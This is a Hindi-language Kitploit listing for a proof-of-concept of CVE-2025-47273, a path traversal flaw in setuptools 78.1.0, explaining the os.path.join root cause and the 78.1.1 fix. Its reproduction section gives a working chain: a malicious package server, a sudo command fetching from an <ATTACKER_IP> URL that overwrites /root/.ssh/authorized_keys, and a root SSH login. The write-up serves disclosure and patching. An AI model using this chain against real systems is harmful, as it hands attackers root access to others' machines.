Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 setuptools लाइब्रेरी, विशेष रूप से संस्करण 78.1.0 में एक उच्च-गंभीरता पथ ट्रैवर्सल भेद्यता है। | Kitploit
उपकरण/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणकोड विश्लेषणशोषणआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षा
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 setuptools लाइब्रेरी, विशेष रूप से संस्करण 78.1.0 में एक उच्च-गंभीरता पथ ट्रैवर्सल भेद्यता है।

रिपॉजिटरी देखें
15 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-47273: setuptools संस्करण 78.1.0 - setuptools.package_index में पथ ट्रैवर्सल

अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट (PoC) केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा ऑडिट के लिए है। लेखक इस जानकारी के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध और अनैतिक है।


भेद्यता विश्लेषण

CVE-2025-47273 एक पथ ट्रैवर्सल भेद्यता है जो setuptools लाइब्रेरी (v78.1.0 और इससे पहले) के package_index मॉड्यूल में पाई गई है। यह भेद्यता हमलावर को PackageIndex.download() विधि में विशेष रूप से तैयार किया गया URL प्रदान करके एक मनमाना फ़ाइल लिखने की अनुमति देती है।

मूल कारण: os.path.join() व्यवहार

यह दोष Python के os.path.join() फ़ंक्शन में एक सामान्य ख़तरे से उत्पन्न होता है। Python दस्तावेज़ के अनुसार:

यदि कोई घटक एक निरपेक्ष पथ है, तो सभी पिछले घटकों को हटा दिया जाता है और जोड़ निरपेक्ष पथ घटक से जारी रहता है।

setuptools के संवेदनशील संस्करण में, गंतव्य फ़ाइल नाम URL से एक नाम निकालकर और उसे एक अस्थायी निर्देशिका से जोड़कर निर्धारित किया जाता है:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

यदि हमलावर कोई URL प्रदान करता है जहाँ फ़ाइल नाम भाग (URL डिकोडिंग के बाद) फॉरवर्ड स्लैश / से शुरू होता है, तो os.path.join tmpdir उपसर्ग को हटा देता है और URL में दिए गए निरपेक्ष पथ को लौटा देता है।

भेद्यता प्रवाह आरेख

root@kitploit:~
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

तकनीकी प्रभाव

चूंकि गंतव्य पथ को एक निरपेक्ष पथ में हेरफेर किया जा सकता है, हमलावर फाइलसिस्टम पर किसी भी स्थान पर मनमाना सामग्री लिख सकता है जहाँ प्रक्रिया में लिखने की अनुमति है।

उच्च-प्रभाव परिदृश्य:

  1. विशेषाधिकार वृद्धि: यदि setuptools का उपयोग करने वाली प्रक्रिया उच्च विशेषाधिकारों (जैसे, सिस्टम-व्यापी इंस्टॉलर) के साथ चलती है, तो हमलावर महत्वपूर्ण सिस्टम फ़ाइलों जैसे /etc/passwd, /root/.ssh/authorized_keys, या /etc/shadow और कई अन्य संभावनाओं को अधिलेखित कर सकता है...
  2. स्थायित्व / RCE: उपयोगकर्ता-स्तरीय कॉन्फ़िगरेशन फ़ाइलों जैसे ~/.bashrc, ~/.ssh/authorized_keys को अधिलेखित करना, या मौजूदा Python लाइब्रेरी में कोड इंजेक्ट करना स्थायी रिमोट कोड निष्पादन का कारण बन सकता है।

पुनरुत्पादन (/root/.ssh/authorized_keys को अधिलेखित करना)

वातावरण सेटअप

यह भेद्यता setuptools संस्करण 78.1.0 में मौजूद है।

root@kitploit:~
pip install setuptools==78.1.0

1. poc निर्देशिका में ssh की जोड़ी उत्पन्न करें

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. दुर्भावनापूर्ण सर्वर प्रारंभ करें (हमलावर मशीन)

server.py स्क्रिप्ट एक दुर्भावनापूर्ण पैकेज इंडेक्स के रूप में कार्य करती है। यह अनुरोधित पथ की परवाह किए बिना एक पेलोड फ़ाइल परोसती है, और हम जो फ़ाइल परोस रहे हैं वह id_rsa.pub है।

root@kitploit:~
python3 server.py 80

2. एक्सप्लॉइट चलाएं (लक्ष्य मशीन)

इस कमांड का उपयोग करके फ़ाइल लिखने को ट्रिगर करें और फिर आप अपनी पहले से बनाई गई ssh कुंजी जोड़ी से root में ssh कर सकते हैं।

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. अंत में, चरण 1 में बनाई गई निजी कुंजी से लक्ष्य मशीन में root के रूप में ssh करें

root@kitploit:~
ssh -i id_rsa root@<target-ip>

शमन

यह भेद्यता setuptools संस्करण 78.1.1 में संबोधित की गई थी। फिक्स में URL से प्राप्त name चर को कड़ाई से स्वच्छ करना शामिल है ताकि यह सुनिश्चित किया जा सके कि इसमें os.path.join() को पास करने से पहले अग्रणी स्लैश या ड्राइव अक्षर न हों।

अपने वातावरण को सुरक्षित करने के लिए:

root@kitploit:~
pip install --upgrade setuptools

संदर्भ

  • setuptools मुद्दा #4946
  • NVD - CVE-2025-47273
  • Huntr बाउंटी रिपोर्ट
टूल डाउनलोड करें